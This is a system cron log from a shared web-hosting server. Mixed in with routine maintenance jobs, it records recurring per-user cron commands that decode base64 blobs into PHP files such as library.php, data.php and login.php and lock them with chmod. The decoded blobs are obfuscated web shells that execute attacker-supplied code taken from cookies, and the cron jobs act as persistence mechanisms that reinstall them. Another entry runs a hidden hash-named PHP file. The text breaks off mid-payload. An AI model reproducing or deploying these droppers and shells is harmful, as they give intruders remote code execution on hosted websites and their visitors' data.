Mar  2 14:55:02 medusa CROND[1476]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:55:02 medusa CROND[1486]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:55:02 medusa CROND[1489]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:55:02 medusa CROND[1500]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:55:02 medusa CROND[1505]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:55:02 medusa CROND[1506]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:55:02 medusa CROND[1498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:55:02 medusa CROND[1501]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:55:02 medusa CROND[1499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:55:02 medusa CROND[1502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:55:02 medusa CROND[1503]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:56:01 medusa CROND[16463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:56:01 medusa CROND[16715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:56:01 medusa CROND[16716]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:56:01 medusa CROND[16717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:56:01 medusa CROND[16718]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:56:01 medusa CROND[16724]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:56:01 medusa CROND[16731]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:56:01 medusa CROND[16732]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:56:01 medusa CROND[16733]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:56:01 medusa CROND[16734]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:56:01 medusa CROND[16737]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:56:01 medusa CROND[16736]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:56:01 medusa CROND[16738]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:56:01 medusa CROND[16741]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:57:01 medusa CROND[3765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:57:01 medusa CROND[3837]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:57:01 medusa CROND[3838]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:57:01 medusa CROND[3839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:57:01 medusa CROND[3840]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:57:01 medusa CROND[3841]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:57:01 medusa CROND[3844]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94a